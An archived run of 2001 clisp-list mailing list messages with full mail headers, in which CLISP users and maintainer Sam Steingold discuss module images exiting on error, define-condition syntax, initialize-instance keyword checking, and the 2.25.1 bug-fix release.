, List-Archive: This doesn't have a whole lot to do with CLISP, but it's pretty funny, and I figured all of you Lispers out there would enjoy it. -- # Erik Arneson Web Engineer # # Mobile: 541.840.3100 GPG Key ID: 1024D/0A2C3C5E # # Office: 541.774.5391 # From MSimpson@macgregor.ws Fri Mar 30 12:36:07 2001 Received: from [38.136.38.162] (helo=macgreg) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14j5cs-0007Xt-00 for ; Fri, 30 Mar 2001 12:36:06 -0800 Received: from PANDA (panda.macgreg.com [198.186.129.131]) by macgreg (8.8.8+Sun/8.8.8) with ESMTP id PAA06667 for ; Fri, 30 Mar 2001 15:38:54 -0500 (EST) X-Mailer: emacs 20.3.5.3.1 (via feedmail 9 I); VM 6.87 under Emacs 20.3.5.3.1 From: "Mark Simpson" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15044.60977.627000.563015@gargle.gargle.HOWL> Date: Fri, 30 Mar 2001 15:36:01 -0500 To: clisp-list@lists.sourceforge.net Subject: [clisp-list] The lighter side of Lisp... In-Reply-To: <101152301@toto.iv> Reply-To: damned@world.std.com Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: ;; At 14:46 on Thursday 29 March 2001, Erik Arneson wrote: ; This doesn't have a whole lot to do with CLISP, but it's pretty funny, ; and I figured all of you Lispers out there would enjoy it. ; ; ; Also: http://www.forum3000.org/matrix/forum_std_answers?cookie=mere&lm=985981140 It is a short one... but Ms. Rand clearly states that: Lisp is incompatible with reason. You must use C++, the only Objectivist programming language out there So i guess we had better stop wasting our time with it. [grin] From roland.averkamp@trivadis.com Sat Mar 31 04:21:33 2001 Received: from ahorn.trivadis.com ([193.73.126.118]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14jKNo-0006uk-00 for ; Sat, 31 Mar 2001 04:21:32 -0800 Received: from trivadis.com ([145.253.106.22]) by ahorn.trivadis.com (Netscape Messaging Server 4.15) with ESMTP id GB2AAY00.B6L; Sat, 31 Mar 2001 14:20:58 +0200 Message-ID: <3AC5BDE8.CCC15B4E@trivadis.com> Date: Sat, 31 Mar 2001 13:22:16 +0200 From: Roland Averkamp Organization: Univag X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.10 i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] module problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi, I have a problem with modules. I created a simple module with a c-file with just one function. creating the the new moduleset via clisp-link create-module-set .... and adding the module-set via clisp-link add-module-set .... works fine calling the new moduleset via clisp -K /home/averkamp/full+test and then evaluating expressions works too, BUT: clisp exits if an error occurs: [3]> (list 1 2 3 4) (1 2 3 4) [4]> 332432 332432 [5]> (car 1) Bye. what is wrong? Is there some switch somewhere which has to be set? (the standard clisp works without problems) I had the same problem with the mit-clx module. I use suse linux 6.2, the clisp is the march-2001 version. It was built on my computer. Roland Averkamp From peter.wood@worldonline.dk Sat Mar 31 10:28:36 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14jQ72-0001pM-00 for ; Sat, 31 Mar 2001 10:28:36 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 8EC56B5BF for ; Sat, 31 Mar 2001 20:28:32 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f2VIPxv05624; Sat, 31 Mar 2001 20:25:59 +0200 X-Authentication-Warning: localhost.localdomain: prw set sender to peter.wood@worldonline.dk using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] module problem References: <3AC5BDE8.CCC15B4E@trivadis.com> From: Peter Wood In-Reply-To: <3AC5BDE8.CCC15B4E@trivadis.com> Message-ID: <80r8zdx0nj.fsf@localhost.localdomain> User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.2 (Thelxepeia) Date: 31 Mar 2001 20:25:59 +0200 Lines: 25 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Roland Averkamp writes: > clisp exits if an error occurs: > > > [3]> (list 1 2 3 4) > (1 2 3 4) > [4]> 332432 > 332432 > [5]> (car 1) > Bye. > > what is wrong? > Try putting this in your .clisprc: (if (eq sys::*break-driver* #'sys::batchmode-break-driver) (setf sys::*break-driver* #'sys::break-loop)) And see if it helps. The break-driver in "full" is set incorrectly. Regards, Peter From peter.wood@worldonline.dk Sat Mar 31 10:47:56 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14jQPk-00037A-00 for ; Sat, 31 Mar 2001 10:47:56 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 6567BB4CA for ; Sat, 31 Mar 2001 20:47:53 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f2VIjUr05672; Sat, 31 Mar 2001 20:45:30 +0200 X-Authentication-Warning: localhost.localdomain: prw set sender to peter.wood@worldonline.dk using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] module problem References: <3AC5BDE8.CCC15B4E@trivadis.com> <80r8zdx0nj.fsf@localhost.localdomain> From: Peter Wood Date: 31 Mar 2001 20:45:30 +0200 In-Reply-To: <80r8zdx0nj.fsf@localhost.localdomain> Message-ID: <80puexu69h.fsf@localhost.localdomain> Lines: 20 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.2 (Thelxepeia) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Peter Wood writes: > Try putting this in your .clisprc: > > (if (eq sys::*break-driver* #'sys::batchmode-break-driver) > (setf sys::*break-driver* #'sys::break-loop)) > > And see if it helps. The break-driver in "full" is set incorrectly. Or, if you prefer, run "clisp -K full" and set the break-driver: (setf sys::*break-driver* #'sys::break-loop) Then save the image: (saveinitmem "lispinit.mem") and replace the memory image in /usr/lib/clisp/full with the new one. Then you won't need the line in your .clisprc. Which might mess things up if you run clisp in batchmode, I suppose :( Does CLISP read the initfile when it runs in batchmode?) Peter From schen@its.caltech.edu Sun Apr 01 18:18:03 2001 Received: from chamber.cco.caltech.edu ([131.215.48.55]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14jsyp-000867-00 for ; Sun, 01 Apr 2001 18:18:03 -0700 Received: from ShangLin (avery-51.caltech.edu [131.215.103.51]) by chamber.cco.caltech.edu (8.9.3/8.9.3) with SMTP id SAA20900 for ; Sun, 1 Apr 2001 18:18:00 -0700 (PDT) From: "Shang-Lin Chen" To: Date: Sun, 1 Apr 2001 18:15:45 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Subject: [clisp-list] question about CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Does GNU CLISP run on OpenBSD systems? From cmcurtin@interhack.net Mon Apr 02 05:09:39 2001 Received: from rowlf.interhack.net ([38.194.92.79]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14k39O-0001Ss-00 for ; Mon, 02 Apr 2001 05:09:39 -0700 Received: from animal.interhack.net (animal.interhack.net [38.194.92.69]) by rowlf.interhack.net (8.11.1/8.11.1) with ESMTP id f32CCmt67577; Mon, 2 Apr 2001 08:12:48 -0400 (EDT) (envelope-from cmcurtin@interhack.net) Received: (from cmcurtin@localhost) by animal.interhack.net (980427.SGI.8.8.8/8.8.5) id IAA46143; Mon, 2 Apr 2001 08:07:15 -0400 (EDT) To: "Shang-Lin Chen" Cc: Subject: Re: [clisp-list] question about CLISP References: X-Face: L"IcL.b%SDN]0Kql2b`e.}+i05V9fi\yX#H1+Xl)3!+n/3?5`%-SA-HDgPk9uTk<3dv^J5DCgal)-E{`zN#*o6F|y>r)\< Date: 02 Apr 2001 08:07:13 -0400 In-Reply-To: "Shang-Lin Chen"'s message of "Sun, 1 Apr 2001 18:15:45 -0700" Message-ID: <868zljmrny.fsf@animal.interhack.net> Lines: 12 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Channel Islands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Shang-Lin" == Shang-Lin Chen writes: Shang-Lin> Does GNU CLISP run on OpenBSD systems? It's available as a NetBSD package (but it doesn't run on my G3 PPC), which probably means that you can get it to work without problems on OpenBSD if your hardware is mainstream enough. (I'd expect no problems on i386 or sparc...) -- Matt Curtin, Founder Interhack Corporation http://www.interhack.net/ "Building the Internet, Securely." research | development | consulting From youngde@nc.rr.com Tue Apr 03 11:31:21 2001 Received: from fe7.southeast.rr.com ([24.93.67.54] helo=mail7.nc.rr.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14kVaL-0004CX-00 for ; Tue, 03 Apr 2001 11:31:21 -0700 Received: from tinian.linuxnet.hom ([24.162.235.152]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Tue, 3 Apr 2001 14:31:18 -0400 Received: (from dey@localhost) by tinian.linuxnet.hom (8.9.3/8.9.3) id OAA04285; Tue, 3 Apr 2001 14:29:23 -0400 Date: Tue, 3 Apr 2001 14:29:23 -0400 Message-Id: <200104031829.OAA04285@tinian.linuxnet.hom> X-Authentication-Warning: tinian.linuxnet.hom: dey set sender to youngde@nc.rr.com using -f From: "David E. Young" To: clisp-list@lists.sourceforge.net Reply-to: youngde@nc.rr.com Subject: [clisp-list] CLISP and define-condition Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Greetings. I'm having a problem getting CLISP to accept a define-condition form that three other mainstream Lisps recognize just fine. Given the following: (define-condition syntactical-error (lisa-error) ((element :initarg :element :initform nil :reader syntactical-error-element)) (:report (lambda (condition strm) (let ((element (syntactical-error-element condition))) (if (null element) (format strm "Syntax error:~%") (format strm "While evaluating the element ~S:~%" element)) (format strm (lisa-error-text condition)))) :documentation "This condition represents syntactical errors discovered during the initial parsing pass.")) CLISP complains: Compiling file /opt/files/devel/sourceforge/lisa/src/engine/conditions.lisp ... *** - DEFINE-CONDITION SYNTACTICAL-ERROR: invalid syntax in DEFINE-CONDITION option: (:REPORT (LAMBDA (CONDITION STRM) (LET ((ELEMENT (SYNTACTICAL-ERROR-ELEMENT CONDITION))) (IF (NULL ELEMENT) (FORMAT STRM "Syntax error:~%") (FORMAT STRM "While evaluating the element ~S:~%" ELEMENT)) (FORMAT STRM (LISA-ERROR-TEXT CONDITION)))) :DOCUMENTATION "This condition represents syntactical errors discovered during the initial parsing pass.") 1. Break LISA[4]> I'm running CLISP 2.25 in full ANSI (clisp -a) on RedHat 6.2. Regards, -- ----------------------------------------------------------------- David E. Young Fujitsu Network Communications (defun real-language? (lang) (de.young@computer.org) (eq lang 'LISP)) "But all the world understands my language." -- Franz Joseph Haydn (1732-1809) From sds@gnu.org Tue Apr 03 11:53:06 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14kVvO-0006yD-00 for ; Tue, 03 Apr 2001 11:53:06 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA20446; Tue, 3 Apr 2001 14:53:02 -0400 (EDT) X-Envelope-To: To: youngde@nc.rr.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP and define-condition References: <200104031829.OAA04285@tinian.linuxnet.hom> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200104031829.OAA04285@tinian.linuxnet.hom> Date: 03 Apr 2001 13:50:39 -0500 Message-ID: Lines: 48 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.101 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200104031829.OAA04285@tinian.linuxnet.hom> > * On the subject of "[clisp-list] CLISP and define-condition" > * Sent on Tue, 3 Apr 2001 14:29:23 -0400 > * Honorable "David E. Young" writes: > > Greetings. I'm having a problem getting CLISP to accept a > define-condition form that three other mainstream Lisps recognize just > fine. > > Given the following: > > (define-condition syntactical-error (lisa-error) > ((element :initarg :element > :initform nil > :reader syntactical-error-element)) > (:report > (lambda (condition strm) > (let ((element (syntactical-error-element condition))) > (if (null element) > (format strm "Syntax error:~%") > (format strm "While evaluating the element ~S:~%" element)) > (format strm (lisa-error-text condition)))) > :documentation > "This condition represents syntactical errors discovered during the initial > parsing pass.")) your parentheses are placed incorrectly: correct: (define-condition syntactical-error (...) (...) (:report ...) (:documentation ...)) you have: (define-condition syntactical-error (...) (...) (:report ... :documentation ...)) please see CLHS. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on char*a="char*a=%c%s%c;main(){printf(a,34,a,34);}";main(){printf(a,34,a,34);} From youngde@nc.rr.com Tue Apr 03 12:48:36 2001 Received: from fe5.southeast.rr.com ([24.93.67.52] helo=mail5.nc.rr.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14kWn6-0005bH-00 for ; Tue, 03 Apr 2001 12:48:36 -0700 Received: from tinian.linuxnet.hom ([24.162.235.152]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Tue, 3 Apr 2001 15:48:34 -0400 Received: (from dey@localhost) by tinian.linuxnet.hom (8.9.3/8.9.3) id PAA04646; Tue, 3 Apr 2001 15:46:38 -0400 Date: Tue, 3 Apr 2001 15:46:38 -0400 Message-Id: <200104031946.PAA04646@tinian.linuxnet.hom> X-Authentication-Warning: tinian.linuxnet.hom: dey set sender to youngde@nc.rr.com using -f From: "David E. Young" To: clisp-list@lists.sourceforge.net Reply-to: youngde@nc.rr.com Subject: [clisp-list] ANSI compatibility question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Greetings. Ok, let's see if I can clear this up. Given the following simplified code fragment: (defclass rule () ((name :initarg :name :initform nil :reader get-name))) (defmethod initialize-instance :after ((self rule) &key (directives nil)) ...) (defun make-rule (name engine &key (doc-string nil) (directives nil) (source nil)) (make-instance 'rule :name name :directives directives)) Note the addition of an initialisation argument in initialize-instance's lambda list. With the above, CLISP fails at runtime with: *** - EVAL/APPLY: keyword :NAME is illegal for #. The possible keywords are (:DIRECTIVES) 1. Break LISA[5]> Now, if I read the CLHS correctly it seems that this should work. And indeed, ACL, LispWorks and CMUCL accept it [ but, after my last posting I'm no longer sure how reliable an argument that is. ] From CLHS section 7.1.2 Declaring the Validity of Initialization Arguments: * Initialization arguments that fill slots are declared as valid by the :initarg slot option to defclass... * Initialization arguments that supply arguments to methods are declared as valid by defining those methods. The keyword name of each keyword parameter specified in the method's lambda list becomes an initialization argument for all classes for which the method is applicable... Please help me clear this up. Regards, -- ----------------------------------------------------------------- David E. Young Fujitsu Network Communications (defun real-language? (lang) (de.young@computer.org) (eq lang 'LISP)) "But all the world understands my language." -- Franz Joseph Haydn (1732-1809) From sds@gnu.org Tue Apr 03 13:10:30 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14kX8H-0008EG-00 for ; Tue, 03 Apr 2001 13:10:30 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA06704; Tue, 3 Apr 2001 16:10:25 -0400 (EDT) X-Envelope-To: To: youngde@nc.rr.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ANSI compatibility question References: <200104031946.PAA04646@tinian.linuxnet.hom> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200104031946.PAA04646@tinian.linuxnet.hom> Date: 03 Apr 2001 15:07:55 -0500 Message-ID: Lines: 40 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.101 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200104031946.PAA04646@tinian.linuxnet.hom> > * On the subject of "[clisp-list] ANSI compatibility question" > * Sent on Tue, 3 Apr 2001 15:46:38 -0400 > * Honorable "David E. Young" writes: > > (defclass rule () > ((name :initarg :name > :initform nil > :reader get-name))) > > (defmethod initialize-instance :after ((self rule) &key (directives nil)) > ...) > > (defun make-rule (name engine &key (doc-string nil) > (directives nil) (source nil)) > (make-instance 'rule :name name :directives directives)) > > Note the addition of an initialisation argument in > initialize-instance's lambda list. > > With the above, CLISP fails at runtime with: > > *** - EVAL/APPLY: keyword :NAME is illegal for #. The possible keywords are (:DIRECTIVES) > 1. Break LISA[5]> CLISP tries to call your `initialize-instance' :after method and fails - it does not take :name args. If you write (defmethod initialize-instance :after ((self rule) &key (directives nil) &allow-other-keys) ...) it should work. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on You can have it good, soon or cheap. Pick two... From youngde@nc.rr.com Tue Apr 03 13:19:04 2001 Received: from fe8.southeast.rr.com ([24.93.67.55] helo=mail8.nc.rr.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14kXGa-0000ej-00 for ; Tue, 03 Apr 2001 13:19:04 -0700 Received: from tinian.linuxnet.hom ([24.162.235.152]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Tue, 3 Apr 2001 16:12:51 -0400 Received: (from dey@localhost) by tinian.linuxnet.hom (8.9.3/8.9.3) id QAA04749; Tue, 3 Apr 2001 16:13:54 -0400 Date: Tue, 3 Apr 2001 16:13:54 -0400 Message-Id: <200104032013.QAA04749@tinian.linuxnet.hom> X-Authentication-Warning: tinian.linuxnet.hom: dey set sender to youngde@nc.rr.com using -f From: "David E. Young" To: sds@gnu.org CC: youngde@nc.rr.com, clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 03 Apr 2001 15:07:55 -0500) Subject: Re: [clisp-list] ANSI compatibility question Reply-to: youngde@nc.rr.com References: <200104031946.PAA04646@tinian.linuxnet.hom> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Sam" == Sam Steingold writes: Sam> CLISP tries to call your `initialize-instance' :after method and Sam> fails - it does not take :name args. If you write Sam> (defmethod initialize-instance :after ((self rule) &key Sam> (directives nil) &allow-other-keys) ...) Sam> it should work. Yes, but &allow-other-keys in that situation disables keyword argument checking, which is not what I want. So, what is the correct, ANSI behavior? Regards, -- ----------------------------------------------------------------- David E. Young Fujitsu Network Communications (defun real-language? (lang) (de.young@computer.org) (eq lang 'LISP)) "But all the world understands my language." -- Franz Joseph Haydn (1732-1809) From sds@gnu.org Tue Apr 03 14:30:06 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14kYNK-0000iC-00 for ; Tue, 03 Apr 2001 14:30:06 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA22665; Tue, 3 Apr 2001 17:30:03 -0400 (EDT) X-Envelope-To: To: youngde@nc.rr.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ANSI compatibility question References: <200104031946.PAA04646@tinian.linuxnet.hom> <200104032013.QAA04749@tinian.linuxnet.hom> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200104032013.QAA04749@tinian.linuxnet.hom> Date: 03 Apr 2001 16:27:34 -0500 Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.101 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200104032013.QAA04749@tinian.linuxnet.hom> > * On the subject of "Re: [clisp-list] ANSI compatibility question" > * Sent on Tue, 3 Apr 2001 16:13:54 -0400 > * Honorable "David E. Young" writes: > > >>>>> "Sam" == Sam Steingold writes: > > Sam> CLISP tries to call your `initialize-instance' :after method and > Sam> fails - it does not take :name args. If you write > > Sam> (defmethod initialize-instance :after ((self rule) &key > Sam> (directives nil) &allow-other-keys) ...) > > Sam> it should work. > > Yes, but &allow-other-keys in that situation disables keyword argument > checking, which is not what I want. Please see Issue INITIALIZATION-FUNCTION-KEYWORD-CHECKING Writeup. This is the intended behavior. > So, what is the correct, ANSI behavior? I believe CLISP is correct here. I don't think that any error checking can actually be done here: the same args which were given to `initialize-instance' will be passed over to the `initialize-instance' :after method, so all `initialize-instance' methods must take all the arguments that the main `initialize-instance' takes. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Trespassers will be shot. Survivors will be SHOT AGAIN! From sds@gnu.org Fri Apr 06 10:48:46 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14laLl-0000Gk-00; Fri, 06 Apr 2001 10:48:45 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id NAA01440; Fri, 6 Apr 2001 13:48:25 -0400 (EDT) X-Envelope-To: Cc: clisp-list@lists.sourceforge.net, clisp-announce@lists.sourceforge.net Newsgroups: comp.lang.lisp Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Organization: disorganization Date: 06 Apr 2001 12:47:09 -0500 Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Posted-To: comp.lang.lisp Subject: [clisp-list] GNU CLISP 2.25.1 bug-fix release Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: The following message is a courtesy copy of an article that has been posted to comp.lang.lisp as well. Please visit http://clisp.cons.org for information on downloading the sources. 2.25.1 (2001-04-06) =================== User visible changes [this is a bug-fix only release] -------------------- * ANSI CL compliance: INITIALIZE-INSTANCE accepts &KEY &ALLOW-OTHER-KEYS arguments. * Fixed a bug: a single value was sometimes returned by READ-LINE. * Fixed a bug: re-exporting inherited symbols resulted in them being reported as both external and inherited by WITH-PACKAGE-ITERATOR. * Fixed a bug: the full image and other images created with clisp-link exited on error instead of entering the debugger. * Fixed a bug: COMPILE-FILE-PATHNAME could returned bad results when given a non-existent INPUT-FILE argument and an OUTPUT-FILE argument with non-NIL directory part. * Fixed --without-unicode build. -- Sam Steingold (http://www.podval.org/~sds) Please wait, MS Windows are preparing the blue screen of death. From youngde@nc.rr.com Fri Apr 06 14:23:21 2001 Received: from fe5.southeast.rr.com ([24.93.67.52] helo=mail5.nc.rr.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14ldhR-0006pm-00 for ; Fri, 06 Apr 2001 14:23:21 -0700 Received: from tinian.linuxnet.hom ([24.162.235.152]) by mail5.nc.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Fri, 6 Apr 2001 17:18:10 -0400 Received: (from dey@localhost) by tinian.linuxnet.hom (8.9.3/8.9.3) id RAA18512; Fri, 6 Apr 2001 17:16:11 -0400 Date: Fri, 6 Apr 2001 17:16:11 -0400 Message-Id: <200104062116.RAA18512@tinian.linuxnet.hom> X-Authentication-Warning: tinian.linuxnet.hom: dey set sender to youngde@nc.rr.com using -f From: "David E. Young" To: clisp-list@lists.sourceforge.net Reply-to: youngde@nc.rr.com Subject: [clisp-list] Binary of 2.25.1 for Redhat Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I've built a binary distribution of CLISP 2.25.1 for Redhat 6.2. I can supply it if there's interest. Regards, -- ----------------------------------------------------------------- David E. Young Fujitsu Network Communications (defun real-language? (lang) (de.young@computer.org) (eq lang 'LISP)) "But all the world understands my language." -- Franz Joseph Haydn (1732-1809) From sds@gnu.org Fri Apr 06 15:04:42 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 14leLS-0002Ui-00 for ; Fri, 06 Apr 2001 15:04:42 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id SAA24854; Fri, 6 Apr 2001 18:04:34 -0400 (EDT) X-Envelope-To: To: youngde@nc.rr.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Binary of 2.25.1 for Redhat References: <200104062116.RAA18512@tinian.linuxnet.hom> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200104062116.RAA18512@tinian.linuxnet.hom> Date: 06 Apr 2001 17:03:07 -0500 Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.103 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.3 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <200104062116.RAA18512@tinian.linuxnet.hom> > * On the subject of "[clisp-list] Binary of 2.25.1 for Redhat" > * Sent on Fri, 6 Apr 2001 17:16:11 -0400 > * Honorable "David E. Young" writes: > > I've built a binary distribution of CLISP 2.25.1 for Redhat 6.2. 